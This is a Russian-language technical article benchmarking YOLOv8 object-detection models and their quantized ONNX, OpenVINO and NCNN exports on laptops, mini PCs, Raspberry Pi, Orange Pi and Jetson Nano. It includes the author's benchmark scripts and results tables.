Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Анализ производительности моделей YOLOv8

В данной статье речь пойдёт о замерах производительности и точности работы моделей YOLOv8 на разных устройствах с различными оптимизациями и без них. Большое внимание будет уделено работе Yolo на “слабых устройствах”, таких как Raspberry PI, Orange PI, Jetson Nano, мини ПК.

Чтобы лучше понять автора:

При проведении данного исследования вектор интересов был направлен на решение задачи детекции в режиме реального времени на маломощных устройствах.

Современные задачи робототехники требуют вычислений "на борту", что особенно актуально для автономных систем. Важность данного исследования заключается в том, что оно направлено на решение задачи детекции в режиме реального времени на маломощных устройствах, что открывает новые возможности для использования компьютерного зрения в мобильных и автономных роботах. Будем считать, что FPS обработки изображений >= 10 пригоден для некоторых задач детекции в реальном времени, но далеко не для всех.

В GitHub репозитории находятся код бенчмарка, скрипты для теста и результаты в csv файлах. Также все веса моделей, полученных в процессе исследования находятся в публичном доступе на Гугл диске и Второй гугл диск.

Оглавление

  • Скрипт бенчмарка

    • Описание метрик

  • Базовые модели Yolo на разных устройствах

    • Intel I7-12700H - в ноутбуке

    • N100 - Мини ПК

    • Raspberry PI 4 базовая

    • Raspberry PI 4 2.3 Ghz

    • Orange PI Zero 1 GB RAM

  • Выводы по базовому рантайму

  • Fine-Tuned Yolo модель на базовом рантайме

    • I7-12700H

    • N100

    • Raspberry PI 2.3Ghz

    • Orange PI Zero 1GB RAM

  • Выводы по Fine-Tuned модели

  • Базовые модели, эксперимент с входными изображениями

  • Как ускорить инференс модели

  • Квантизация и различные рантаймы

  • ONNX

    • I7-12700H

    • N100 - Мини ПК

    • Raspberry PI 4 2.3Ghz

    • Raspberry PI 4 базовая

    • Orange PI Zero 1GB RAM

  • Выводы по рантайму

  • Бенчмарк нашей модели на ONNX

    • I7-12700H

    • N100

  • OpenVINO - Оптимизация для Intel

    • I7-12700H

    • N100

  • NCNN

    • Intel i7-12700H

    • N100

    • Raspberry PI

  • TfLite и Deepsparse

  • Nvidia Jetson Nano

    • Попытки оптимизации

  • Выводы по рантаймы

  • Выводы по выбору модели и железа

Скрипт бенчмарка

Исследование проводится на 5 различных устройствах и более чем 60 моделях. Выполнение этой задачи вручную потребовало бы значительного времени и ресурсов, поэтому было принято решение автоматизировать процесс сбора данных.

Система для бенчмарка состоит из серверной и клиентской частей. Серверная часть отвечает за хранение списков моделей и тестовых видео. Клиентский код запрашивает у сервера актуальные списки моделей и тестовых видео, загружает их и, проведя тестирование, отправляет результаты обратно на сервер.

Запуск сервера (из репозитория):

git clone https://github.com/ret7020/YoloBenchmarks
cd YoloBenchmarks/server
python3 server.py
Код сервера
import socket
from time import sleep
from threading import Thread
from config import *
from socket_utils import *
from os import path, makedirs
import csv

ip = "0.0.0.0"
port = 8001

makedirs(python_files_path, exist_ok=True)
makedirs(video_path, exist_ok=True)
makedirs(model_path, exist_ok=True)
makedirs(analytics_path, exist_ok=True)
headers_writen = []


def csv_benchmark(path, results):
    with open(path, 'a', newline='') as csvfile:
        writer = csv.DictWriter(csvfile, fieldnames=CSV_HEADER)
        for model in results:
            res = results[model]
            print(res)
            writer.writerow({'model': model} | res)


def process_client(conn, addr):
    global analytics_path, headers_writen
    print("Connect from", addr)
    while True:
        recv = receive_json(conn)
        if recv["type"] == "ask_files":
            print(addr, f"asked file {recv['filename']} from group {recv['ftype']}")
            file_name = recv["filename"]
            if recv["ftype"] == "py":
                send_file(conn, path.join(python_files_path, file_name))
            elif recv["ftype"] == "video":
                send_file(conn, path.join(video_path, file_name))
            elif recv["ftype"] == "model":
                send_file(conn, path.join(model_path, file_name))
        elif recv["type"] == "get_models":
            send_json(conn, models)
        elif recv["type"] == "get_videos":
            print(addr, "asked videos")
            send_json(conn, videos)
        elif recv["type"] == "send_stats":
            print("Results from", addr)
            if not recv["save_name"] in headers_writen:
                with open(path.join(analytics_path, recv["save_name"]), 'w', newline='') as csvfile:
                    writer = csv.DictWriter(csvfile, fieldnames=CSV_HEADER)
                    writer.writeheader()
                headers_writen.append(recv["save_name"])

            csv_benchmark(path.join(analytics_path, recv["save_name"]), recv["results"])


if __name__ == "__main__":
    print(f"Run on {ip}:{port}")
    sock = socket.socket()
    sock.bind((ip, port))
    sock.listen(1)

    while True:
        conn, addr = sock.accept()
        t = Thread(target=process_client, args=(conn, addr))
        t.start()

Конфигурация сервера находится в файле config.py:

models = {
	"base": [
("yolov8n.pt", "12qTtp-hjls6N0UMLbkurzxHzuhpWxqWt", False),
    	("yolov8s.pt", "1ga8jan6BvP8Pbmphx9HHBvby96jQgjHS", False),
    	("yolov8m.pt", "1r0ph4mbFsiuuRDxJHAj3di9TFnzCXbUq", False),
    	("yolov8l.pt", "1f1SlM01l3EWvpH66fEqyrdsEe1F5PdFT", False),
    	("yolov8x.pt", "1stXAXeDSgaMFv8AkZwtiw5RXvInd74tQ", False)
]
}
videos = [
	 ("cubes.mp4", "1t1zOk8CPQGFdpRl7l3gJthydGOqDbRVI")
]

video_path = "files/videos"
model_path = "files/models"
python_files_path = "files/py"
analytics_path = "files/analytics"

CSV_HEADER = ['model', 'runtime', 'inference_time_1', 'fps', 'inference_time', 'device', 'half', 'int8', 'map50', 'map75', 'warmup_max_inf_time', 'warmup_min_inf_time', 'inference_time_max', 'inference_time_min']

models - словарь в котором ключи - категории моделей. В каждой категории находится список кортежей следующего формата:

[
	(“название весов моделей”, “ID файла на гугл диске”, директория или нет),
    (“название весов моделей”, “ID файла на гугл диске”, директория или нет)
]

Некоторые оптимизированные модели могут работать только на определённом железе (например, OpenVINO только на Intel). Поэтому пользователь на устройстве для бенчмарка может выбрать категории моделей для теста вначале запуска.

videos - список видеофайлов для теста, имеющего похожий формат:

 ("Название файла", "ID файла на гугл диске")

analytics_path указывает на директорию для сохранения результатов бенчмарков, если директории нет, то она будет создана автоматически.

В CSV_HEADER менять можно только порядок колонок.

Интерфейс клиентского скрипта
Интерфейс клиентского скрипта

Запуск клиента (из репозитория):

git clone https://github.com/ret7020/YoloBenchmarks
cd YoloBenchmarks
python3 remote_run.py

Далее необходимо ввести ip сервера, порт (по-умолчанию 8001), название устройства (от него зависит имя файла с бенчмарком).

Далее скрипт запросит у сервера список моделей и видео для теста. Потом пользователю нужно выбрать категории моделей для теста. После этого скрипт скачает недостающие для теста файлы и приступит к бенчмарку.

Модели и видео файлы скачиваются с гугл диска через утилиту gdown, имеющую API под Python. Гугл диск позволяет скачивать файлы и директории с достаточно высокой скоростью. Некоторые модели представляют из себя не только файл весов, но и метафайлы, объединённые в одну папку.

Для использования gdown файл нужно сделать с “Доступом по ссылке”. ID файла можно достать из полученной ссылки:

https://drive.google.com/file/d/14DixrZ9Pcl_JpGzpB2U66YDwS4v9hHdS/view?usp=sharing

Пример использование библиотеки через Python:

import gdown

# Скачивание файла
FILE_ID = "14DixrZ9Pcl_JpGzpB2U66YDwS4v9hHdS" # ID файла на гугл диске
SAVE_TO = “open_me.png” # куда скачивать
gdown.download(id=FILE_ID, output=SAVE_TO)

# Скачивание директории
DIR_ID= "1ALYWISJipP2XOp1OHmDJ0XqPcOuCnQLd" # id директории на гугл диске
SAVE_TO = “dir” # куда скачивать
gdown.download_folder(id=DIR_ID, output=SAVE_TO)

Процесс тестирования моделей осуществляется следующим образом:

  1. Первые 10 кадров из тестового видео используются для "прогрева" модели. Поскольку после загрузки весов модели в оперативную память или память видеокарты доступ к ней сначала происходит неэффективно, первые несколько задач будут медленнее, чем последующие. Бенчмарк фиксирует минимальное и максимальное время инференса во время "прогрева", однако эти данные не используются для дальнейшего анализа.

  2. Когда модель готова к работе, запускается цикл обработки 200 следующих кадров из видео. Для каждой тестируемой модели эти 200 кадров будут идентичными, что позволяет стандартизировать условия тестирования (влияние количества потенциальных классов на изображении на производительность будет рассмотрено позже).

  3. Каждый кадр сжимается до разрешения 640x640 пикселей и передается в модель, при этом фиксируется время инференса.

  4. После обработки всех 200 кадров результаты собираются и отправляются на сервер для дальнейшего анализа.

В первой версии бенчмарка после замера скорости моделей проводилась валидация модели на coco8 (первые 8 изображений из датасета, на котором обучены базовые модели Yolo). Но 8 изображений оказалось недостаточно для объективной оценки качества работы модели. На метрики качества модели не влияет устройство инференса (значительно), поэтому метрики mAP50, mAP75 были посчитаны для каждой модели на датасете coco128 на Google Colab. Скрипт для замера mAP набора моделей здесь.

mAP (mean average precision) - одна из самых популярных метрик в задачах object detection, которая при достаточном количестве валидационных изображений позволяет достаточно точно определить качество работы модели. На самом деле далее нас будет интересовать не само значение mAP, а то как сильно mAP оптимизированной модели отличается от базовой.

Клиентская функция бенчмарка
def bench_model(model, video, args):
    inference_times = []
    is_half = True if "half" in args else False
    is_int8 = True if "int8" in args else False
    optimize = False if "ncnn" in args else True  # NCNN models can't work with optimize flag
    runtime = args[1] if len(args) > 1 else "BASE"

    capture = cv2.VideoCapture(video)

    # Warmup model before benched inference (anyway on test images set, not camera)
    warmup_times = []
    print(colored(f"Testing model: {model.ckpt_path} with video: {video}", "green"))
    for _ in range(10):
        _, frame = capture.read()
        res = model.predict(frame, task=TASK, verbose=False, half=is_half, int8=is_int8, optimize=optimize, save=False, visualize=False)
        warmup_times.append(res[0].speed["inference"])
    print(colored(f"Warmup finished", "green"))

    frames_cnt = 0
    progress_bar = iter(tqdm(range(200)))
    while capture.isOpened():
        ret, frame = capture.read()
        if ret and frames_cnt < 200:
            frame = cv2.resize(frame, (640, 640))
            res = model.predict(frame, task=TASK, verbose=False, half=is_half, int8=is_int8, optimize=optimize, save=False, visualize=False)
            inference_times.append(res[0].speed["inference"])
            frames_cnt += 1
            next(progress_bar)
        else:
            capture.release()
    print(colored(f"Benchmark finished", "yellow"))


    if VALIDATE:
        metrics = model.val(data=VALIDATE_CONFIG, verbose=False)
        map50 = metrics.box.map50
        map75 = metrics.box.map75
    else:
        map50 = None
        map75 = None
    print(colored(f"Model validated on {VALIDATE_CONFIG}", "yellow"))
    return {
        "inference_time": sum(inference_times) / (len(inference_times)),  # ms
        "inference_time_1": round(sum(inference_times) / (len(inference_times)), 1),  # ms 1 digit
        "inference_time_min": min(inference_times),
        "inference_time_max": max(inference_times),
        "fps": round(1000 / (sum(inference_times) / (len(inference_times))), 1),  # fps 1 digit
        "half": int(is_half),
        "int8": int(is_int8),
        "runtime": runtime,
        "map50": map50,
        "map75": map75,
        "device": "cpu",  # TODO selectable device
        "warmup_min_inf_time": min(warmup_times),
        "warmup_max_inf_time": max(warmup_times)
    }


def benchmark(models, images, repeat_coeff=5, save_callback=lambda x: None):
    print(
        f"Testing models: {len(models)}\nUniq images: {colored(len(images), 'green')}\nInferences count: {colored(str(len(models) * repeat_coeff * len(images)), 'yellow')}")
    results = {}
    for model in tqdm(models):
        args = model[1:] if len(model) > 1 else []
        model = YOLO(model[0])
        results[model.ckpt_path] = bench_model(model, args, images, repeat_coeff=2)
        save_callback(results[model.ckpt_path])

        # Clean system after inference
        del model
        torch.cuda.empty_cache()
        gc.collect()

    return results

Описание метрик mAP

Метрика mAP (mean Average precision) основана на IoU, которая рассчитывает пересечения детектируемого bounding box’а от эталонного.

Метрика IoU
Метрика IoU

mAP считает среднее IoU с заданным трешхолдом на валидационном датасете.
mAP50 - трешхолд по IoU 0.5 (50%)
mAP75 - трешхолд по IoU 0.75 (75%)

Базовые модели Yolov8 на разных устройствах

Все тесты проводились при минимальной сторонней загрузке системы.

Intel I7-12700H - в ноутбуке

Основные характеристики процессора:

  • Alder Lake (12 поколение)

  • Количество ядер: 14

  • Количество потоков: 20

  • Максимальная частота: 4.7 Ггц

Основные характеристики системы:

  • OS: Arch Linux

  • RAM: 16 Gb

  • Версии:

    • python: 3.11.6

    • ultralytics: 8.2.28

    • torch: 2.1.2

    • torchvision: 0.16.2

Тяжелее модель - инференс дольше
Тяжелее модель - инференс дольше

Модель

Время мс

FPS

mAP50

mAP75

max FPS

min FPS

вес мб

yolov8n.pt

103.6

9.7

0.607

0.476

10.78

7.2

6.2

yolov8s.pt

332

3

0.760

0.638

3.1

2.73

21.5

yolov8m.pt

834

1.2

0.784

0.652

1.53

0.8

49.7

yolov8l.pt

1652.1

0.6

0.828

0.706

0.61

0.59

83.7

yolov8x.pt

3065

0.3

0.829

0.707

0.4

0.23

130.5

В таблице выделены столбцы (FPS, max FPS, min FPS), значения которых меняются в зависимости от устройства запуска.

С базовыми моделями всё достаточно просто и предсказуемо. Буква после yolov8 означает размер модели: nano, small, medium, large, x. Чем больше модель, тем больше её вес и fps ниже. mAP также выше у более тяжёлых моделей. Стоит обратить внимание, что FPS X модели в среднем в 2 раза ниже, чем у L модели. При этом mAP50 и mAP75 примерно одинаковые. Это подтверждают и официальные данные от ultralytics:

  • mAP50-95 у L модели: 52.9

  • mAP50-95 у X модели: 53.9

N100 - Мини ПК

Основные характеристики процессора:

  • Alder Lake (12 поколение)

  • Количество ядер: 4

  • Количество потоков: 4

  • Максимальная частота: 3.4 Ггц

Основные характеристики системы:

  • OS: Ubuntu 22.04 Server

  • RAM: 16 Gb

  • Версии:

    • python: 3.10.12

    • ultralytics: 8.2.28

    • torch: 2.3.0

    • torchvision: 0.1

febd0f788d6e0d0df96f9558950094b3.png

Модель

Время мс

FPS

max FPS

min FPS

yolov8n.pt

249.4

4

4.02

3.72

yolov8s.pt

714.2

1.4

1.4

1.39

yolov8m.pt

1832.3

0.5

0.55

0.54

yolov8l.pt

3635.9

0.3

0.28

0.27

yolov8x.pt

5592.5

0.2

0.18

0.18

Raspberry Pi 4

Основные характеристики системы:
Активное охлаждение, алюминиевый корпус, достаточное питание.

  • OS: Ubuntu 22.04 Server

  • RAM: 8 Gb

  • Версии:

    • python: 3.10.12

    • ultralytics: 8.2.28

    • torch: 2.3.0

    • torchvision: 0.18.0

Тестирование всех базовых моделей мы не стали проводить полностью, так как FPS даже на yolov8m был слишком низким.

430c327100081c71381880b621fb01a0.png

Модель

Время мс

FPS

max FPS

min FPS

yolov8n.pt

2001

0.5

0.50

0.48

yolov8s.pt

4999

0.2

0.202

0.191

yolov8m.pt

10832.3

0.1

0.08

0.07

Raspberry Pi 4 2.3Ghz

2.3Ghz - максимальная частота на которую можно разгонять процессор Raspberry PI при условии достаточного питания и охлаждения.

Основные характеристики системы:
Активное охлаждение, алюминиевый корпус, оригинальный блок питания на 3A

  • Версии:

    • python: 3.10.12

    • ultralytics: 8.2.28

    • torch: 2.3.0

    • torchvision: 0.18.0

    • ncnn: 1.0.20240410

    • onnxruntime: 1.18.0

5cb2242a55bf526edb7133315db0997e.png

Модель

Время мс

FPS

max FPS

min FPS

yolov8n.pt

1876

0.5

0.542

0.523

yolov8s.pt

4771.2

0.2

0.213

0.205

yolov8m.pt

11569.9

0.1

0.1

0.08

Значительного прироста FPS относительно не разогнанной Raspberry PI нет.

OrangePI Zero 1Gb RAM

8afad99ca052e1fcb72ba7655109bdd7.png

Модель

Время мс

FPS

max FPS

min FPS

yolov8n.pt

4229.9

0.2

0.239

0.234

yolov8s.pt

714.2

0.1

0.079

0.078

FPS ещё ниже, чем на Raspberry PI

Выводы по базовому рантайму

1153fac159b8021d6395b992dfa66fb5.png

Yolov8n работает ~ в 2 раза быстрее более тяжёлой yolov8s. На маломощных устройствах запуск моделей тяжелее yolov8n смысла не имеет, если необходимо получить детекцию в реальном времени.

Fine-Tuned Yolo модель на базовом рантайме

Кроме тестирования базовых моделей от ultralytics, обученных на датасете COCO, мы измерили производительность и качество работы своей модели обученной на основе весов yolov8n. Модель детектирует 3 класса, соответствующие трём цветам кубиков:

Все три класса
Все три класса

I7-12700H

За base.pt обозначается обученная модель без рантаймов и квантизаций.

Модель

FPS

mAP50

mAP75

max FPS

min FPS

base.pt

11.5

0.799

0.724

12.55

5.92

FPS этой модели больше yolov8n на 18.5%

N100

Модель

FPS

max FPS

min FPS

base.pt

4.2

4.308

4.048

FPS этой модели больше yolov8n на 5%

Raspberry PI 4 2.3Ghz

Модель

FPS

max FPS

min FPS

base.pt

0.6

0.6

0.58

FPS этой модели больше yolov8n на 20%

OrangePI Zero 1GB RAM

Модель

FPS

max FPS

min FPS

base.pt

0.3

0.3

0.26

Выводы по Fine-Tuned модели

fd8f990d41061279fde570209940daa0.png

Обученная модель работает быстрее yolov8n на ~20%. Это можно объяснить количеством параметров.

Следующая функция, позволяет по загруженной Yolov8 модели посчитать количество её параметров:

from ultralytics import YOLO
def cnt_params(model):
	p_cnt = 0
	for p in list(model.model.parameters()):
    	nn = 1
    	for s in list(p.size()):
        	nn = nn * s
    	p_cnt += nn
	return p_cnt

if __name__ == "__main__":
  m = YOLO("yolov8n.pt")
  print(cnt_params(m))

В yolov8n модели 3157200 параметров, а в дообученной 3011628 (на 4.8% меньше).

Базовые модели, эксперименты с входными изображениями

Проверим влияние количества потенциальных классов (количество предметов на изображении, которые умеет детектировать модель) на скорость инференса.

Для теста был написан простой скрипт на Python (на Гитхабе):

Hidden text
from ultralytics import YOLO
import cv2
import gc
import torch

times = []
MANY_CARS = ["./assets/images/cars_many.jpg",
         	"./assets/images/cars_many_1.jpg",
         	"./assets/images/cars_many_2.jpg",
         	"./assets/images/cars_many_3.jpg"]

SINGLE_CAR = ["./assets/images/single_car.jpg",
          	"./assets/images/single_car_1.jpg",
          	"./assets/images/single_car_2.jpg",
          	"./assets/images/single_car_3.jpg"]

MODELS = ["yolov8n.pt", "yolov8s.pt", "yolov8m.pt", "yolov8l.pt", "yolov8x.pt"]
PER_IMG_INF_CNT = 100

for model in MODELS:
	print("-" * 5 + model + "-" * 5)
	torch.cuda.empty_cache()
	gc.collect()
	m = YOLO(model)
    

	print("Warmup...")
	for _ in range(15): m("./assets/images/bus.jpg", save=False, verbose=False, visualize=False)


	print("Test...")
	for img in MANY_CARS:
    	times += [m(cv2.resize(cv2.imread(img), (640, 640)))[0].speed['inference'] for _ in range(PER_IMG_INF_CNT)]

	print(1000 / (sum(times) / len(times)), 1000 / max(times), 1000 / min(times))

	times = []
	torch.cuda.empty_cache()
	del m
	gc.collect()
	m = YOLO(model)
    
	print("Warmup...")
	for _ in range(15): m("./assets/images/bus.jpg", save=False, verbose=False, visualize=False)

	print("Test single cars...")
	for img in SINGLE_CAR:
    	times += [m(cv2.resize(cv2.imread(img), (640, 640)))[0].speed['inference'] for _ in range(PER_IMG_INF_CNT)]

	print(1000 / (sum(times) / len(times)), 1000 / max(times), 1000 / min(times))
	del m

Тестирование проводилось на 4 изображениях, где много машин и на 4 изображениях, где только одна машина.

Примеры изображений:

08b68f608d37da25496492d1fc678bce.jpegbb6575d119f42f80c730c2bbe21a7115.jpeg

Первые 15 инференсов используются для “прогрева”. Затем каждая из 8 картинок(4 и 4) проходит 100 раз через нейросеть. После этого считается максимальный, минимальный и средний FPS. После теста на изображениях с большим количеством машин модель удаляется из памяти, чистится кэш CUDA, принудительно очищается мусор через gc.

Результаты запуска скрипта на Google Colab с GPU T4

d090a18dddefb5fb2da1ddac156f3b76.pngb716fc28af820a456f835c83f0fde79a.png

Результаты оказались не очевидными. N модель быстрее работает, когда на изображении только одна машина. Но остальные, более тяжёлые модели работают быстрее на изображениях с большим количеством машин. Результаты запуска на Intel I7-12700H похожи по поведению (отличие только в том, что FPS ниже).

Предположение

Такое поведение моделей Yolo может быть связано с тем, что у N модели мало параметров и она рассчитана под детекцию небольшого количества объектов. Остальные модели содержат больше параметров и различных фич, которые являются оверхэдом для задачи детекции одного крупного объекта на изображении.

Как ускорить инференс модели

Базовые модели работают недостаточно быстро на процессоре для детекции в реальном времени. Существуют разные способы ускорения инференса модели, но все они заключаются в упрощении модели под необходимое оборудование Облегчение модели может ухудшить качество её работы, поэтому кроме замера скорости работы оптимизированных моделей стоит обращать внимание на её mAP до оптимизации и после.

Квантизация и экспорт моделей YOLO

Квантизация — это процесс уменьшения разрядности чисел, используемых для представления весов и активаций нейронной сети. Этот метод позволяет значительно снизить требования к вычислительным ресурсам и объему памяти, что особенно полезно для развертывания моделей на маломощных устройствах, таких как Raspberry PI, Orange PI и Jetson Nano.

В yolo, модели можно квантизировать в два вида разрядностей: half (FP16) и int8. Квантизация в int8 максимально облегчает модель. Но не всегда квантизация в half может дать прирост в скорости работы модели. Далеко не все процессоры, ввиду своей архитектуры, способны эффективно производить FP16 вычисления. Подробнее про FP16 на разных архитектурах можно прочитать в топике на stackoverflow.

В yolo реализована система экспорта моделей в различные форматы. Процесс экспорта моделей тоже был автоматизирован. Вы можете найти этот скрипт в GitHub репозитории (export.py). Пример конфига экспорта:

EXPORT_MODELS = [
    {"format": "openvino", "half": False, "int8": False, "optimize": True, "save_name": "cube_openvino_base_openvino_model"},
    {"format": "onnx", "half": False, "int8": False, "optimize": True, "save_name": "onnx_model.onnx"}
]

Указываются формат модели, квантизация, флаг оптимизации и имя для сохранения новой модели. При экспорте можно указать флаги optimize и simplify. Данные флаги подробно описаны разработчиком в issue на гитхабе. Если указан флаг simplify, то при экспорте в формат ONNX yolo попытается удалить “лишние” связи в модели и объединить некоторые операции. В скрипте данный флаг стоит для всех экспортов. Он не имеет смысл для других форматов модели, но ухудшить производительность точно не может. Флаг optimize применяет к модели JIT (Just In Time) компиляцию. Он работает не для всех моделей(например, ncnn его не поддерживает), поэтому явно прописывается в конфиге.

Скрипт работает следующим образом:

  • Прописывается конфиг с базовыми моделями (например, yolov8n.pt, yolov8s.pt)

  • Каждая базовая модель экспортируется в список форматов, указанных в конфиге

На выходе получается папка exported_models со всеми моделями (кроме базовых). Если нужно экспортировать отдельную одну модель, то можно воспользоваться терминальной командой Yolo:

yolo export model=ПУТЬ К ВЕСАМ format=ФОРМАТ int8=True simplify=True optimize=True data=coco8.yaml

Квантизация изначально отключена, чтобы её включить нужно добавить аргументы int8=True или half=True. Так же при экспорте с квантизацией(int8 или half) необходимо добавить аргумент data, содержащий путь к конфигу датасета модели. Для базовых моделей можно указать coco8.yaml, coco128.yaml, coco.yaml (первые 8 изображений; первые 128; полный датасет coco). Чтобы качество работы модели при квантизации меньше падала применяется калибровка. Она использует датасет модели, чтобы точнее квантизировать веса.

Для экономии времени экспортировать модели можно на более мощных устройствах, а запускать на слабых. Например, экспортировать квантизированную модель для Raspberry PI можно на Google Colab. В документации по экспорту в формат TensorRT сказано следующее:

  • Remember calibration for INT8 is specific to each device, borrowing a "high-end" GPU for calibration, might result in poor performance when inference is run on another device.

Здесь говорится про TensorRT и GPU, но мы решили проверить справедливость утверждения для CPU. Для проверки модель yolov8n была экспортирована в ONNX с квантизацией int8 на Raspberry PI и ноутбуке с i7-12700H. Сначала модели были протестированы (замерена скорость работы и валидация на coco128) там, где экспортированы. Затем модель с ноутбука была проверена на Raspberry и наоборот. Изменений в mAP и FPS не было (при округлении значений до 10^4). Делаем вывод, что это утверждение актуально для инференса на GPU c TensorRT int8. Перейдём к тестированию различных рантаймов и форматов моделей Yolo.

ONNX

ONNX - единый формат, который упрощает процесс переноса моделей глубокого обучения между фреймворками. Кроме того, у onnx есть собственный рантайм для запуска моделей этого формата. Yolov8 из коробки поддерживает экспорт в onnx с квантизацией. ONNX модели должны работать на любых устройствах (в отличии от некоторых других форматов).

Тестировались следующие вариации моделей: без квантизации, с квантизацией в int8, модель без флага simpilfy. Квантизация в half и int8 не отличаются по скорости инференса и mAP.

I7-12700H

ca93f13c19e7a897bc66a22012bbc7ed.png75800625748d5bf00cca2809418896d8.png

Квантизация

int8 и обычная модель onnx не имеют особых отличий в скорости работы и качестве по метрикам mAP, если эта модель экспортирована с флагом simplify. Для эксперимента по проверке влияния флага simplify N модель была дополнительно экспортирована в onnx с квантизацией в int8 и без неё, но без флага simplify (simplify=False)

Simplify

Данный флаг увеличивает производительность ONNX модели на 10-20%. Без этого флага квантизипрованная в int8 модель работает быстрее (на ~3%) такой же модели, но без квантизации (в таблице yolov8n_onnxnosimp_base.onnx и yolov8n_onnxnosimp_int8.onnx ). При этом у моделей без simplify mAP совпадает с метриками моделей без этого флага

Команда для экспорта модели ONNX с квантизацией в int8 и флагами оптимизации:

yolo export model=yolov8n.pt format=onnx optimize=True simplify=True int8=True data=coco8.yaml

Если экспортируете не базовую модель, то в аргументе data нужно указать путь к своему конфигу датасета.

N100 Мини ПК

Отсутствие значительных отличий в скорости работы и метриках mAP между квантизированной в int8 и стандартной ONNX моделями подтверждают данные бенчмарка с процессора I7.

9a4c745641130033d9aceafb72d61a4f.png0c8e74424dd4e34977918d4b2aff007f.png

Raspberry PI 4 2.3Ghz

На разогнанной Raspberry запуск моделей onnx(на основе yolov8n) загружает все 4 ядра 4 потока под 100% и одноплатник зависает. Запуск инференса отдельно от бенчмарка работает также. Обновление onnx (с версии 1.14.1 до 1.16.1) не решило проблему.

309f4247265b3c028d048c536285dac5.png

Raspberry PI 4 базовая

Модель

FPS

yolov8n_onnx_base.onnx

1.9

yolov8n_onnx_int8.onnx

2.0

Orange PI Zero

Модель

FPS

yolov8n_onnx_base.onnx

1.3

yolov8n_onnx_int8.onnx

1.3

Выводы по рантайму

14b744a306bf41a98199d4142d2ed155.png

Комплексируя результаты бенчмарков модели ONNX с различных устройств, можно сделать следующие выводы:

На мини ПК с N100 ONNX позволяет на основе N модели проводить детекцию в режиме реального времени. Квантизация и экспорт модели в ONNX не ухудшает качество её работы. Ресурсов Orange PI и Raspberry PI недостаточно для данной задачи.

Бенчмарк нашей модели на ONNX

I7-12700H

Модель

Время мс

FPS

mAP50

mAP75

base_onnx_base.onnx

76.2

13.1

0.782

0.699

base_onnx_int8.onnx

75.6

13.2

0.782

0.699

До конвертации в ONNX:

Модель

FPS

mAP50

mAP75

max FPS

min FPS

base.pt

11.5

0.799

0.724

12.55

5.92

Метрики mAP50 и mAP75 стали ниже, скорее всего это связано с недостаточностью обучающей выборки. Чем выше качество изначальной модели, тем ниже негативное влияние квантизации и экспорта в разные рантаймы. При этом скорость, своей модели в формате ONNX на 28% выше, чем N модель в ONNX.

N100

Модель

Время мс

FPS

base_onnx_base.onnx

85.4

11.7

base_onnx_int8.onnx

75.6

11.9

Наша модель "знает" намного меньше классов объектов, чем базовая COCO модель, количество параметров у нашей модели также меньше, поэтому её производительность немного выше.

OpenVINO - Оптимизация для Intel

OpenVINO (Open Visual Inference and Neural Network Optimization) — это набор инструментов от Intel для ускорения инференса нейронных сетей на различных платформах, включая CPU, интегрированные GPU, VPU и FPGA. OpenVINO предоставляет мощные инструменты для оптимизации моделей и их квантизации, что особенно полезно для выполнения моделей на маломощных устройствах. OpenVINO предназначен для работы на процессорах и видеокартах Intel, на других устройствах эти модели работать не будут.

Тестировались стандартная модель, квантизированная в fp16 и int8.

I7-12700H

767425b98666b07f8ac7e7518ebc8399.png

Квантизация в int8 моделей OpenVINO позволяет решать задачу детекции в режиме реального времени на процессоре I7 с помощью трёх базовых моделей(N, S, M).
Квантизация в half не увеличивает производительность моделей OpenVINO. Рассмотрим N модель.
Квантизированная в int8 OpenVINO модель быстрее базовой N модели более чем в 10 раз. Квантизация OpenVINO в int8 ускоряет её в ~2 раза.

N100

e9c2215d26d3c7d3c91abac8b0df68bf.png

Различные степени квантизации моделей OpenVINO ведут себя одинаково на N100 и I7. OpenVINO позволяет решать задачу детекции в реальном времени на основе модели yolov8n, экспортированной в OpenVINO с квантизацией int8.

На Raspberry PI и Orange PI запуск OpenVINO невозможен.

Из - за отсутствия значительного падения mAP у квантизированной в int8 модели и значительного прироста производительности стоит использовать данную

53b40be898ff3d0ac9d46a56b18a6f69.png

Команда для экспорта моделей в OpenVINO с квантизацией в int8

yolo export model=yolov8n.pt format=openvino optimize=True simplify=True int8=True data=coco8.yaml

NCNN

Этот формат моделей предназначен для слабых устройств, наподобие Raspberry PI.

Intel i7-12700H

Квантизация в half и базовая модель не отличаются по своей производительности и метрикам mAP.

Модель

FPS

yolov8n_ncnn_int8_ncnn_model

8.1

yolov8s_ncnn_int8_ncnn_model

4.1

yolov8m_ncnn_int8_ncnn_model

2.1

yolov8l_ncnn_int8_ncnn_model

1.2

yolov8x_ncnn_int8_ncnn_model

0.8

N100

Модель

FPS

yolov8n_ncnn_int8_ncnn_model

9.6

yolov8s_ncnn_int8_ncnn_model

4.0

yolov8m_ncnn_int8_ncnn_model

1.8

yolov8l_ncnn_int8_ncnn_model

1.0

yolov8x_ncnn_int8_ncnn_model

0.7

Raspberry PI

Модель

FPS

yolov8n_ncnn_int8_ncnn_model

2.0

Orange PI

Модель

FPS

yolov8n_ncnn_int8_ncnn_model

0.2

Данный рантайм не даёт достаточной оптимизации.

TfLite и Deepsparse

Рантайм TFLite не показал значительного прироста производительности на наших устройствах, поэтому экспорт моделей в данный формат оказался бесполезным с точки зрения ускорения инференса.

Рантайм DeepSparse эффективно работает на батчах из изображений. При детекции в реальном времени возможности загрузить несколько изображений сразу нет. Кроме того, он не выдаёт стабильного FPS.

Nvidia Jetson Nano

Данное устройство умеет запускать модели на CUDA, что позволяет существенно ускорить инференс. Результаты запуска модели на процессоре не имеют особого интереса (на N моделе всего 0.7 FPS)

Модель

FPS

max FPS

min FPS

yolov8n.pt

13.3

14.3

10.6

yolov8s.pt

6.3

6.3

6.2

yolov8m.pt

4.1

4.3

3.9

yolov8l.pt

3.4

3.3

2.8

yolov8x.pt

1.1

1.2

0.9

Для детекции в реальном времени можно использовать N модель, при этом более тяжёлые работают недостаточно быстро.

Попытки оптимизации

Попытки использовать различные рантаймы не увенчались успехом.

После установки onnxruntimegpu, модели ONNX не получилось запустить на GPU, а их производительность на CPU очень низкая.

